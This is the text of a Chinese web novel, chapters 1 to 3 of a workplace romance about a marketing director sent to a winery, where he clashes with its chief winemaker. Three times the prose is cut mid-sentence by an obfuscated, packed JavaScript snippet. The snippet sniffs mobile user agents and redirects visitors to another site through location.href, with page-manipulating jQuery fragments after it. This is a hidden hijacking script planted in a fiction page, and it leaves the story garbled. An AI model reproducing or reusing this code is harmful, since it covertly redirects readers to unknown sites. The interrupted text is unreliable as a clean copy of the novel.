《瓶装风物》 1. 首席酿酒师 早高峰时段,上行电梯间里拥塞得如同一只密不透风的铁皮罐头。 杭帆被人潮挤得扁扁的,活脱脱一块被贴在电梯轿厢上的烧饼。 他艰难地在工作手机上回着消息,冷不防听见旁边的几块烧饼们正在窃窃私语。 “……这也换得太突然了,怎么年前都没人听到风声的?” “就是说啊!这么紧急的人事调动,明显不正常!要我讲嘛,多半是上面有人在挟私报复啰。” “唉,Miranda也真是惨,刚做出业绩就被人摘了桃。卸磨杀驴不过如此,我看了都觉得寒心……” 在风言风语里听见自家顶头上司的名字,杭帆发消息的手不由一顿。 没等他出声询问,电梯门已经“叮”得一声打开。拥挤人流立刻如潮水般四散而去,按部就班地涌向各自的工位。 这什么情况? 杭帆在自己的工位上坐下,一边打开电脑登录公司OA,一边在心里泛起嘀咕。 虽说集团高层们天天都在神仙打架,但节后复工的第一天就公然开撕……这不太合适吧? 活儿还没开始干呢,瓜倒已经吃上了……嘿,这不明摆着是在动摇军心嘛! 他正有一搭没一搭地想着,一抬眼,却见登录界面上弹出几个黑体加粗的大字。 〖对不起,您的访问已被拒绝。〗 杭帆沉默。 杭帆叹气。 杭帆发出了社畜特有的痛苦呻吟。 “搞咩搞啊!开工第一天就OA瘫痪?” 杭帆愤怒地抓起了工牌,准备往技术支持部门走一趟。 “杭总监!” 刚站起身,他就被人喊住。 人事部的小姑娘怯怯地在边上探出头来:“总经理请您去办公室。” 两年前,杭帆被Miranda亲自挖角,从此便以新媒体总监的身份,供职于罗彻斯特集团麾下的葡萄酒与烈酒业务部门。 身为Miranda女士亲口认证的“得力爱将”,被这样严肃而正式地喊去谈话,对杭帆而言破天荒的头一遭。 小杭总监一时有些懵,实在想不到Miranda在复工第一天要找自己谈些什么。 “啊?很急吗?”他问,“我想先去IT那边,大概要半小时,可以吗?” 不知为何,人事部的小姑娘看起来紧张得要命。她欲言又止地咬着嘴唇,说:“总经理让您现在就过去,立刻马上。” 尽管满头雾水,杭帆还是快步走向了首席执行官的办公室。 然而,Miranda不在,翘着二郎腿坐在这间办公室里的另有其人。 “你就是杭帆?” 这名鸠占鹊巢的中年男人,极为做作地交叠起了双手:“听说,当初是Miranda亲自面试的你?” “是。”杭帆说,努力不让自己皱起眉来:“请问您是……?” “我是Harris Wong,”那男人皮笑肉不笑地扯了扯嘴角:“刚荣任了罗彻斯特酒业的首席执行官。幸会,杭总监。” “您好,王总。”按住了心头的骇浪惊涛,杭帆不卑不亢地冲对方点头致意:“是有什么需要我做的吗?” Harris倒也不跟他绕弯子:“集团旗下的斯芸酒庄正缺一位驻地媒体运营,经过研判,我认为只有杭总监能够胜任这么重要的岗位。”他说,“杭总监意下如何?” 斯芸酒庄?杭帆一愣,那不是在华北吗? “如果是去酒庄驻地的话,我不太方便。” 这样的工作调动简直莫名其妙,杭帆竭力婉拒:“通常情况下,我会建议从当地直接招聘一位有经验的运营,因为无论是从成本控制的角度,还是从效率管理的角度——” “杭总监,”Harris毫不客气地打断了他,“斯芸酒庄是集团非常看重的项目,这样好的历练机会,别人可是求都求不来的。” 这位身形臃肿的中年男子站起身来,拍了拍杭帆的肩,语重心长道:“像你这样的年轻人,正该是要闯荡的年纪,别老想着坐在办公室里贪图安逸。斯芸的业绩要是做起来了,集团难道还会亏待你不成?” “就这么定了。”Harris一锤定音,“我刚已经让人事去帮你收拾个人物品了,待会儿会有保安来替你搬下去。” 耳边嗡得一声,杭帆只觉得全身的血液都冷却了下来。 不是公司的OA瘫痪了,而是自己的账户已经被解除了权限;人事之所以吞吞吐吐,是因为已经接到了要“帮”杭帆收拾个人物品的指令;说什么保安来“替”自己搬下去,分明是为了看住风险人员,以防自己因心怀怨愤而闹事…… 这哪里是正常的工作调动,分明就是一场公司内部的派系肃清! “你在总部的工作,我会安排人来接替的。” Harris露出一口白得骇人的牙齿,像是鲨鱼正冲着猎物咧嘴微笑。 “在斯芸好好干,杭总监,我期待你的表现。”他说,“毕竟……眼下年景不好,找份工作也挺不容易,是不是?” 二十六个小时之后,杭帆已经连人带行李地站在了酒庄大门口。 “人为财死,鸟为食亡。”他自言自语地说道:“赚钱嘛,难道还要挑在哪里赚吗?再说,这只是调派外地,又不是去驻守无人岛!” 话虽如此,可他的手却只是有气无力地扶在门上,半点都没有要推门而入的意思。 “反正工资也没降,总之先做做看。” 杭帆继续对自己进行着安抚式话疗:“实在干不下去再辞职也来得及嘛。不要意气用事,想一想房贷……” 或许是“房贷”二字终于戳中了内心痛处,尽管满心的不情愿,抵在门上的两条胳膊终于开始用力。 然而,面前的这扇雕花铁栅门仍旧是纹丝不动。 啊。杭帆冷静地想。这家酒庄,连门都要和我过不去呢。 “这狗屁工作真是一天也干不下去了!” 他恶狠狠地攥住了门上的栅条,仿佛是掐住Harris那厮的脖子左右摇晃:“我看要不还是现在立刻就马上辞职吧!!” 像是焊死在了原地一般,那门浑然不动。 “啊啊啊啊!!可恶!!” 杭帆气得仰天长啸:“谁要辞职啊,我才不辞职呢!那厮整这一出,不就是想要逼我自愿离职吗?我不,我偏不!” “给我等着!”他对着空气就是邦邦两拳,“不整出点儿惊天动地的好活,我杭帆就把名字倒过来写!等那厮跪下来求我回去的时候,我就把辞职信甩你丫脸上!我靠,我就不信了——” “不好意思,打断一下。” 一把如天鹅绒般华美优 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438187|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅的嗓音,忍着笑从杭帆身后响起:“你方向错了。这扇门是要往外拉,而不是向里面推开的。” 小杭总监惊恐万分地深吸了一口气。 小杭总监的脚趾已经在地面上抠出了幻想中的马里亚纳海沟。 小杭总监强做镇定地扭过头来。 不知何时,杭帆身后竟已悄无声息地站了一位陌生的青年。 阳光下,那头微微卷曲的头发像是被浓墨浸染的丝线一样漆黑发亮,连天神阿波罗都会为之羡妒。而若是要摹写这张刚柔并济的英俊脸庞,则必由艺术巨匠贝尔尼尼亲自挥刀从白色大理石中雕凿出不可。 此刻,那双翡翠色的深邃眼瞳中正满盛着促狭笑意——单看这表情就知道,此人多半已是在边上看了好一阵的猴戏。 杭帆这下是真的有些淡淡地想死了。 “谢、谢谢……” 顶着一张烧得通红的脸,小杭总监磕磕绊绊地捡起自己的社交辞令:“那个……我姓杭,叫杭帆。杭是杭州的杭,帆是‘扬帆起航’的帆,今天刚从总部调来。请问您是……?” 这位英俊的陌生人笑了笑,“岳一宛。”他说,“我叫岳一宛。” “丘山岳,数字一,宛转蛾眉的宛。嫌拗口的话,你也可以直接叫我Ivan。” 一霎的停顿过后,这副几欲迷人心智的动听嗓音才继续道:“我是斯芸酒庄的首席酿酒师。” 说着,他上前两步,伸出手去拉开了酒庄的铁栅门。 明明是十度不到的天气,岳一宛却只在法兰绒衬衫外穿了一身斜纹西装马甲,更衬得宽肩窄腰,矫健而风流。 “昨天好像确实收到总部发来的邮件,只不过我也没细看里面的内容。” 岳一宛走在前面带路,边说边回过头来:“不好意思啊,杭帆。请问一下,你是被调来斯芸做哪个岗位的……?” 这个侧身的动作,令杭帆不由注意到了岳一宛那敞着前两颗扣子的衬衫领口。在那对随意地挽到了臂弯处的袖口下,也正潇洒地露出了前臂精悍有力的肌肉线条。 无端地喉头一紧,杭帆的耳朵立时热得发烫。 天,若是美色能够杀人,自己这会儿怕是已经死无全尸。 他一边心中胡乱地想着,一边清了清嗓子,答道:“哦,我被调来做酒庄的驻地媒体运营。” ……嗯? 媒体,美色,营销? 心念电转之间,杭帆脑中已经蹦出了一个绝妙的创想。 “岳先生,我有个想法。”几乎迫不及待地,杭帆开口道:“我想做一个能带观众沉浸式参观酒庄的直播。” 通常情况下,杭帆并不是一个话很多的人,像这样的滔滔不绝只限于创意上头的时刻。 “既然采摘水果的实时直播,能令观众产生购买这种水果的冲动,那对酿酒师生活的沉浸式体验,肯定也会让观众产生尝试葡萄酒的冲动吧?” “我想,如果是要以酿酒师的视角来带领观众进行沉浸式的酒庄生活体验的话,身为斯芸酒庄首席酿酒师的岳先生应当是最好的入镜人选。” 他满怀期待地看向岳一宛,“岳先生对这个企划有兴趣吗?” “对不起,”岳一宛嘴上这么说,语气却轻快得很,甚至能称得上是有些幸灾乐祸了:“对于你们的这些营销手段,我可全都无意奉陪哦。” 2. 冤家聚首 “这个人的性格真是差劲透顶!” 杭帆气得像是只一浑身毛都炸开了的猫。吐槽到恼火处,他更是一拳锤在床上:“你猜他跟我讲什么?他说,‘为什么我要出卖自己的色相,来帮助你们营销岗完成工作?’” 视讯电话的另一端,白洋正慢条斯理地吸着一杯冰美式。 听闻杭帆的一番痛诉,这位万年冰山脸的好友缓缓点了下头。 “确实。”白洋道,“长得好看并不是免死金牌。” “喂!”正在气头上的杭帆,恶狠狠地向白洋这厮投去了一记死亡凝视:“这是重点吗?” “这难道不就是重点所在吗?” 白洋咬着吸管,无耻反问的语气里竟有着十成十的无辜,“毕竟,你刚花了整整五分钟时间,来形容他那——” 比划了一个双引号的手势,这厮一字不改地复述了杭帆的原话:“‘令人惊叹到差点停止呼吸的美貌’。” “用了这么长的形容词,”白洋啧啧感叹:“我还以为你对他一见钟情了呢。” “一见钟情个锤!” 杭帆呸了一声,翻出一个巨大的白眼:“本来是觉得他长得像我的KPI,谁知道……啧!” “我真是想不明白,”语带愤愤地,杭帆抖开了行李箱里的衣服,一股脑儿地胡乱挂进员工宿舍的衣柜里:“如果酒庄的葡萄酒销量不好,他身为首席酿酒师,利益和名誉也都会一起受损啊?” “你别说,人家还真不一定这么想。” 白洋耸了耸肩,道:“如果销量好,那当然是他的产品做得牛逼。要是销量差,那就全都怪你那营销做得拉胯。” 砰得关上衣柜门,小杭总监深深地吸了一口气。 “如果杀人不犯法,”他面无表情地做出了危险发言:“我迟早把他和Harris豆沙了!” “真的干不下去就别干了。” 白洋劝他:“大不了骑驴找马嘛。这几个月的工作就先敷衍着,等找着了下家,马上辞职跑路不就好了?” 把清空了的行李箱塞进墙角,杭帆苦笑一声:“我可是有百万房贷要还的。” 他说:“不过就是被上司穿小鞋,倒也不至于真的就干不下去。再说了,难道换一家公司,就能保证一定不再碰到这种烂事儿?” 重新做坐回到电脑前的杭帆,对着屏幕重重叹了口气,好半晌之后才重新开了口。 “总部的同事刚还发消息给我说,斯芸酒庄的前一个媒体运营,就是因为岳一宛这个首席酿酒师相处不来,在年前的最后几天里突然提出了辞职。” “往好处想,岳一宛应该不是对我个人有意见,就只是单纯看不起市场营销工作而已。” “嗐,”杭帆将手一摊,苦中作乐似的笑了一笑:“只要别上赶着去烦他,大概暂且也能相安无事吧。” “可是,”白洋投来了犀利的一瞥,“没有他的配合,你的工作要怎么开展?” “就先多想想其他的形式呗。” 杭帆无奈,“我好歹也是做创意类工作的,此路不通就换一条。俗话说得好,‘方法总比困难多’嘛。” 正说话间,桌上的工作手机嗡嗡地震了起来。 “操,”只低头看了一眼,小杭总监立刻大骂出声:“怎么又是Harris?他总不能是现在就来催方案的吧?” “晚上好,Ivan。” 企业微信的视频通话界面上,Harris满面堆笑,硬生生在那张油腻大脸上挤出了好几层皮褶。 “咱们酒庄新来的那位小朋友,今天没给你添麻烦吧?” 接到这通视频的时候,斯芸酒庄的首席酿酒师正在酒窖里试饮橡木桶中的新酒。 猛然看见Harris这张讪笑着的山猪脸,岳一宛手上一滑,差点把酒杯都给摔出去。 “喔,是王总啊,您好您好。” 搁下手里的杯子,岳一宛露出了无懈可击的社交用微笑:“请问您说的麻烦是指……?” Harris Wong本名王德福,在二十六岁之前都是土生土长的江浙人士。 加入美国籍之后,他不仅学来了一口荒腔走板的假粤语口音,更是“入乡随俗”地把姓氏从Wang改成了Wong,言必称其祖上为大清朝的镶黄旗贵族,辛亥之后因受新政府迫害而逃往港府,此后举家迁往美利坚,“迄今已有四代人矣。” 如今听到“王总”这一颇具大陆特色的称呼,这张油滑脸孔上顿时僵出了一层青黑色。 “见外了,见外了。” 在两声生硬的尬笑之后,Harris重又堆起了那有如泥鳅般滑不溜手的笑脸:“叫我Harris就好,显得亲切嘛,哈哈!” 噫。 岳一宛被这人恶心得舌根发麻,在心中连连作呕不止。 可他面上却照旧是一副风度翩翩的绅士模样,语气极为恭谦:“哎,哪里哪里,王总真是客气。” 眼见着这人油盐不进,言必称“王总”二字,Harris的一张猪脸都快要涨成了绀紫色。 他沉默了数秒,才终于又挤出个笑来:“咳……就是,Ivan啊,刚刚我听杭总监说,他提议在酒庄里做直播,但你不同意,是有这么一回事吗?” 嘁,岳一宛心想,果然是无事不登三宝殿。 “好像是有这么一回事。” 首席酿酒师漫不经心地点了下头,“怎么?哦——不会是您的心腹爱将跑去向您告状了吧?” “不不不,当然不是。” 生怕岳一宛迁怒自己,Harris赶紧把自己切割出去。 “什么心腹爱将啊,哈哈,不过是位‘前朝遗老’罢了。我是看Miranda那么器重他,所以觉得杭帆应该也有些真才实能,这才把他调过来的嘛。” Harris又说:“不过Ivan你也知道,斯芸酒庄的位置偏僻,要找到个有能力又愿意来山里常驻的人,也实在是不容易。” “杭帆那个直播的创想啊,我也听他大概说了一下,主意还是不坏的。所以——” “哦……” 岳一宛打断了对方的话,故作恍然大悟状:“原来杭总监不是王总的心腹爱将,而是王总的心腹大患哪。” “既是如此,”他笑眯眯地反问道,“王总何必又要来替他做这说客呢?” 这一连几声的“王总”,令Harris额角青筋直跳。 但在岳一宛这尊惹不起的大佛跟前,他到底是不好当面发作,只能陪着笑道:“哈哈哈哈,您这说的又是哪儿的话?Miranda嘛,那都已经是过去式了,不重要,不重要哈。” “咱们斯芸酒庄已经建成十多年,眼下也是该拿出点成绩了。不然,明年的集团股东大会,给那帮欧洲人看到斯芸这部分业绩,只怕是要以为——中国酿造的葡萄酒,果然不行啊!” 这话说得难听极了,分明就是激将法。 可这岳一宛又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438188|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么人呐,区区几句诛心之语,哪里镇得住他。 两条长腿一叠,这人倚着橡木桶坐下,神色自若地轻笑两声,道:“照王总这么说,罗彻斯特的股东大会,竟全都是由一群傻子组成的啰?” “自从我任职斯芸的首席酿酒师以来,酒庄的三款旗舰产品总计参加了十六次国际葡萄酒大赛,在所有赛事上都得到了不低于95分的超高评分。” 他说:“连这样的好酒都卖不动,出了问题的,恐怕并不是‘中国酿造’这四个字吧?” 眼见着激将不成,Harris不由面带讪色:“所以,唉……大家这不都还是在找新方法嘛。” “要我说,杭帆提议的那个什么沉浸式直播,不管它到底能不能成,试一试,总归也没什么坏处,对不对?毕竟咱们这个时代,酒香也怕巷子深哪!” Harris苦口婆心地做着劝说:“你看人家,那些几十亿身价老板,不也都在直播间里带货卖手机卖空调吗?直播带货嘛,也是一份工作,是工作就不磕碜,没什么放不下身段的!” “我不同意。” 连假笑都懒得再给,岳一宛冷淡地拒绝了。 “人的精力和时间都是有限的。”他说。 “身为斯芸的首席酿酒师,追求更细致的田间管理,力求更深入地理解不同品种葡萄的风味差别,尝试通过不同的混酿来更好地诠释本地的风土,这些都是我的职责所在。为此,我可以一年三百六十五天都住在酒庄里,为葡萄与酿造付出我的全部心血。” “但我的劳动合同上可没写‘营销’这一条。” 懒洋洋地耸了耸肩,岳一宛又说:“直播这种东西,既不可能提高酒的品质,又要占用我大量的时间,我为什么要去配合这种无理需求?” 这人说得理直气壮,差点没把视频电话另一端的Harris气厥过去。 “行,行,”Harris几乎是咬牙切齿地挤出了这几个字:“没写在你合同上是吧?那刚好,我给你找了个肯定写在你合同上的活儿!” 尽管岳一宛满脸都写着“不感兴趣”四个大字,但在合同条款的约束之下,终究还是勉为其难地撇了一下嘴。 “愿闻其详。”他说。 翌日清晨,岳一宛特意起了个大早。 却不成想,这座酒庄里竟还有个比他更勤快的员工。九点不到,对方就已经早早站在品酒室门口等着了。 金灿灿的日光,像是一只暖呼呼又毛茸茸的小狗,悄无声息地越过落地玻璃窗,紧紧依偎在门边那人的身上。 从走廊的另一端远看过去,这一身套头卫衣加紧身牛仔裤的简朴打扮,活脱脱就是个刚进大学校门的少年人模样。 在恶劣趣味的驱使下,岳一宛默不作声地朝着那人走近几步。 直至走到近前,正垂眸假寐着的那人才像是终于察觉到了什么似的,猛然睁开了眼睛。 呆愣了有足足一秒,这张昳丽端整的脸孔上,才终于浮现出了疑色。 “……怎么是你?”他问。 “不是我,还能是谁?” 斯芸酒庄的首席酿酒师,一边仪态优雅地挽起了袖口,一边拿出了品酒室与酒柜的钥匙。 “为了能让你尽快展开工作,Harris请我帮你速成一下葡萄酒的相关知识,所以——” 要笑不笑地,岳一宛瞥了身旁的这人一眼,这才继续说道:“杭总监,从今天起,我就是你的葡萄酒专业课老师。” 3. 第一课 杭帆呆滞了一瞬,旋即把一双冷冽的丹凤眼都给瞪得滚圆。 “……啊?” 他的表情之讶异,活像是在天上看到了一轮绿色的正方形太阳。 “为什么,你……你不是不喜欢营销之类的事情吗?” “这有什么值得惊讶的?” 岳一宛偏了偏头,举手投足间仍是惯常的迷人风度:“为斯芸酒庄的员工提供相应的培训,也是我的职责所在。” 他一边说着,一边推开了品酒室的门:“不过,通常而言,我的培训范围仅限于新入职的酿酒师与酿酒工。是Harris咬文嚼字,才非得把你也算进来不可。” “当然,如果你非要你问我的话。” 有着翡翠色眼瞳的首席酿酒师弯起了眼睛,一副置身事外的潇洒语气:“我觉得Harris做这样安排,只是因为察觉到了你我之间有些不对付。他想要借我的手来磋磨磋磨你,顺便再气一气我,如此而已。” 谁问你了? 非常用力地,杭帆在这人背后翻了个巨大的白眼。 根本没人问你! 小杭总监慢腾腾地踱进了品酒室,又在橡木长桌边踟蹰片刻,终于挑了个离对方较远的位置坐下。 “既然知道Harris不怀好意,”他问,“你为什么不直接拒绝这个要求?“ 咋暖还寒的二月末,妩媚春风从渤海上吹拂而来。 一垄一垄的葡萄藤,被疾风吹摇得簌簌晃动,如同一脉又一脉的小小浪花,在绵延无际的丘陵梯田间吹响了早春的口哨。 一排明净的落地窗,将这料峭寒意与田园风光一齐隔绝在酒庄品酒室的玻璃之后。 清澈的晨光里,岳一宛淡淡耸肩。 “因为Harris是个惯于挟公报私的混蛋,”他说,俨然是正人君子做派,“而我和他不同。” 从柜子里拎出了一打高脚玻璃杯,整整齐齐地摆在了距自己最近的两个座位上,岳一宛这才又道:“我向来对人不对事。讨厌营销,并不意味着我就仇视你本人。” 杭帆冷眼看向桌上的那一排玻璃制品。 即便给罗彻斯特酒业做了两年的新媒体运营,他对酒精饮品也依然缺乏好感。 就连看着这些晶莹圆润的酒杯,杭帆也只觉得它们各个都腆着硕大肥满的肚腹,活像是那些满面假笑地在桌上劝酒的油滑掮客。 “恕我直言,”他抬起眼睛,语气干瘪地反问:“这两者究竟有什么差别?” 反正都会让我的工作很难做。 “当然有区别。” 随意把手一摊,岳一宛这人主打一个理不直气也壮:“我再不喜欢营销,顶多也就是拒绝参与杭总监的全部营销方案罢了。” 语毕,这人径自走向橱柜道,头也没回地又补了一句:“而如果我讨厌的是你本人,那只怕杭总监是在斯芸酒庄里呆不长久了。” “你应该听说过的吧?酒庄的前一任媒体运营是被我赶走的。” 如果混蛋也分等级,岳一宛绝对是特级持证大混蛋。 这厮毫不掩饰自己搞权职霸的倾向,令小杭总监一连深吸了好几口气,恨不得现在就去小红书上新起一个账号。 「家人们谁懂啊,上班第一天就被职级比我高的傻逼同事针对,我这是招惹到了比格转世?」 要不还是认真考虑一下辞职的事情吧,杭帆十分冷静地想。 在“职场冤种”这个赛道做自媒体,说不定还能比上班更早地实现财务自由呢。 他正绷着脸在肚中腹诽,首席酿酒师却已经变魔术般地端出了一盘奶酪与坚果。 “坐那么远干吗?” 放下盘子的岳一宛,向坐在桌子尽头的那人投去了奇怪的一瞥:“你不会指望我能横跨整张桌子给你倒酒吧?话说在前,我的胳膊可没有两米长。” “可不敢劳烦您,”小杭总监半点都没有要起身的意思,只干巴巴地摆手:“我自己来就好。” 万一这厮午夜梦回,想起自己竟然屈尊降贵地亲手给一个小角色倒酒,心中突发不忿,把我给炒鱿鱼了怎么办? 心思阴晴不定,这是“上位者”这类人的通病。所以杭帆认为,自己的阴暗小念头绝非是杞人忧天。 岳一宛正站在恒温酒柜前,闻言回过头来,斜乜了他一眼道 :“哦?你有侍酒师资格证?” “……没有。” “那还废话什么。” 首席酿酒师指向指离他最近的那把椅子,十成十的大独裁者语气:“过来,坐这儿。” 人在屋檐下,不得不低头。 一瞬的挣扎之后,小杭总监到底还是硬起了头皮,视死如归般地坐到了岳一宛身边。 “你有两个选择。” 说这话的时候,岳一宛正从酒柜里拿出两支红酒。 他手势轻柔且平稳,恍似在掌心中握持的并非是一只玻璃瓶,而是恋人递来的手。 “一,是从头学起。我会按照教科书的标准,来教授你关于葡萄酒的一切知识。” 这人的语气却是一点也不轻柔。 比起传业授道的老师,岳一宛的这番话里反倒更多了几分看乐子的口吻:“不过,能学会多少,那就得看你自己了。我只包教,但不包会。” 这听起来像是一道送命题,小杭总监的脑中警铃大作。 “不会还有考试什么的吧?” 杭帆非常确信,如果自己没能在岳一宛的手底下混出个及格分,这事绝对会被Harris拿来大做文章。 “谁知道呢?” 岳一宛微笑,活脱脱一条对着猎物咧开嘴的鳄鱼:“如果我兴趣来了,或许也会给你安排一下月度考核。” 这分明就是故意找茬,杭帆有气无力地想。 他已经开始思考罗彻斯特集团的裁员赔偿是多少钱了。 “但你还有第二个选择。” 旋开了手中的海马刀,岳一宛手起刀转,利落地摘掉了瓶身顶部的锡纸酒帽。 这轻巧流畅的一整套动作,优雅得有似拈起一片飞花。 “我会帮你在一天之内‘速成’葡萄酒的相关知识,当然,仅限于限斯芸出产的酒款。” 他将酒瓶旋转了几十度,好让酒标正对着杭帆:“要哪一种方式,你自己来选。” 酒标上,烫银的汉隶写着“斯芸”二字。 下面一行的端正楷体,则清晰地勾勒出“2022”的字样。 一眼看去,岳一宛手边统共摆出了八支酒,清一色的斯芸酒庄出品。 小杭总监在心里直犯嘀咕:您老准备的这些教具,可不就都是斯芸自己出产的酒款吗?这不是明牌了要让我选速成课! 无论是从帮助展开工作的立场来看,还是从学习新知识的角度而言,系统性的学习当然比“速成课”要好上许多。 但岳一宛是被Harris“逼迫”来给自己进行葡萄酒教学的,杭帆心想,这家伙大概也没有从零开始教会一个外行人的耐心。 更何况,向Harris“报告”自己在葡萄酒知识上的匮乏,本就是一招缓兵之计。 因为岳一宛拒绝配合直播的缘故,杭帆需要一些时间来琢磨新的方案。“想学习葡萄酒知识”固然是真,但这也同样是暂时用来堵住Harris的嘴的好借口。 知识没想到,对方竟会直接指派岳一宛来给自己上补习课。 ……算了,他想,两害相权取其轻。 速成课之外的知识可以通过自学来补足,但如果惹怒了岳一宛,谁知道会有什么样的后果? 在心里进行了几轮审慎的斟酌之后,杭帆终于做出了选择。 “我选第二种。” 深深地看了杭帆一样,岳一宛挑眉。 “我想也是。”他说,语气里莫名多了几分意兴阑珊的调调。 “那么就从这几支‘斯芸’开始吧。建议你做好笔记,我不重复第二遍。” 面前的六支高脚杯里,分别倒入了六个不同年份的“斯芸”红酒。 杭帆感觉自己像是回到了奋战备考的学生时代,不仅要小心地倾斜酒杯以观察酒体的颜色,同时还得将拍下的照片归拢进电子笔记里,并仔仔细细地记下六支酒在颜色与清澈度上的不同。 虽然都是被统称以“酒红色”的液体,但越是年轻的红酒,色彩便越是鲜艳。在酒液的边缘处,还能清晰地看见明亮活泼的紫色调。 而陈放时间更久的那些,宝石般闪亮的色调日渐褪却,渐渐呈现出一种略带黄调的沉稳黯红色。 从小到大,杭帆都堪称是优等生专业户。只消片刻功夫,他就已经能够从面前的六杯酒中,娴熟地分辨出陈年时间最久与最短的那两支。 “这好像也不是很难啊。” 在酒杯顺序被打乱了第五次之后,依然顺利找到了最老年份的那支酒的小杭总监,一边悄悄摁下了心中的那份小小得意,一边抬头看向他的那位便宜导师:“然后呢?” 半真半假地,岳一宛为他鼓了两下掌。 “不错嘛,学得挺快。” 为师不尊的那位浅浅呷了一口酒:“不过,还是希望我们的这位好学生,不要就此折戟哦?” 那真诚欠奉的狡黠笑容,简直可以称得上是不怀好意,直把看得杭帆心下一抖。 半小时之后,杭帆确信自己的不祥预感已然成真。 毕竟,“颜色”或许还是一种相对客观的事物,而“味道”却是极具主观色彩的东西。 在把一整排杯子轮番闻嗅到第十五遍的时候,淡淡的崩溃情绪,仿佛江南六月的潮湿黄梅天一样,将小杭总监整个人都兜头笼罩于其中。 无论如何努力,他都完全闻不出岳一宛口中所谓的“黑樱桃与青圆椒的气味”。 说得直白点,杭帆觉得红酒闻起来根本就只是葡萄与酒精的味道而已。 要能从红酒里闻出黑樱桃与青圆椒的气味?这份想象力简直是无中生有! “如果你足够敏锐的话,还应该能分辨出雪松木或烟熏的气味。” 怡然自乐地晃动几下手腕,首席酿酒师低头嗅了嗅杯中摇荡着的酒液,惬意地眯起了那双碧色的眼眸。 “以及果干和泥土的味道。”这人的语气悠闲得几乎要让杭帆抓狂,“在17年的这支‘斯芸’里,这些气味都还挺明显的。” 是我的鼻子有问题,还是这个人真的疯了? 小杭总监禁不住要骇笑出声。 早上八点就起床,显然不是杭帆这种创意行业工作者的常规作息。昨晚没怎么睡好,早起之后又没来得及吃饭,他现在正处于头痛欲裂与饥肠辘辘的双重折磨之中。 在竭力忍耐了岳一宛整个上午之后,他觉得自己有权说上几句胡言乱语。 “要不是因为你的照片确实挂在酒庄官网上,我多半要以为这位‘首席酿酒师’哪个蹩脚的香水爱好者假扮的了。” 努力咽下那句已经浮到了嘴边的“你莫不是在耍我”,杭帆尽量委婉地发问道:“你确定这些气味真的存在,而不只是你的……呃,想象?” 嗒哒一声,岳一宛搁下了酒杯。 “杭总监不会以为,这些葡萄酒气味的描述,和互联网上那些‘爆汁玫瑰’与‘草莓啵啵茶’一类的陈词滥调同属一类吧?” 他看向杭帆,唇边悬着一缕冷笑。 “只有不入流的酒评家与睁眼说瞎话的新媒体,才会随口编纂那些似是而非的短语,试图最时髦最流行的词汇去取悦潜在买家。” 岳一宛说:“但作为一个已经存在了上千年之久的行业,葡萄酒的世界里有一套自己的品鉴体系与标准化描述。” “也许杭总监的本职工作就是玩弄文字与粉饰语句。可对葡萄酒而言,标准化描述是一种客观事实,类比于身份证号码,让品鉴者能够从中解读出葡萄的品种、产地与酿造方法。” 听到玩弄文字这句话,杭帆几乎是下意识地咬紧了牙关。 又来了,他想,这是第几次听到这种满是偏见的发言了? 简直毫无新意。 「新媒体运营?这行业赚挺多钱吧?」 在老家街道上遇到的中学同学,那名自称在地税局工作的男人,露出了似乎不含任何恶意的艳羡神情。 「哎呀,真好啊,只要发发微博和小红书就能轻轻松松地拿工资,早知道当年我也学传媒就好了。」 「你的工作是为品牌方运作新媒体账号……?哦,那就是打广告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438189|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛。」 氤氲灯光下,富二代出身的装置艺术家轻笑一声,在指间点起一根细长的雪茄。 「无意冒犯,但广告的本质就是说谎,对吧?在我看来,做广告的人,天然就是不诚实的。再说了,广告创意只是收钱办事,不能算是艺术家吧?」 似乎没有察觉到他的片刻走神,岳一宛继续说道:“杭总监没有能够‘品味’出来的东西,并不意味着它们就不存在。” 他的目光锋利,言语尖锐,竟像是用刀刃生生抵住了杭帆的咽喉。 “我希望,在我们共事的这段时间里,你至少能够理解这点。” 杭帆的喉头陡然抽紧。有生以来头一回,他的嘴抢跑在了大脑之前。 “我理解,可你呢?” 他沉下了声音,好像这样就能稍稍抚慰胸腔里那颗正热辣辣地生疼的自尊心。 “无论是学习葡萄酒的相关知识,还是邀请身为首席酿酒师的你来为酒庄做直播,这都是因为我自己确实对葡萄酒一无所知。作为酒庄的媒体运营,我还暂时还不具备能向客人传达专业且准确信息的能力,这点我很清楚。” “那你呢?岳一宛,身为首席酿酒师的你,在希望葡萄酒行业的专业性能够得到尊重的同时,却又简单粗暴的认为别人的工作只是‘粉饰词句’与‘玩弄文字’而已?” 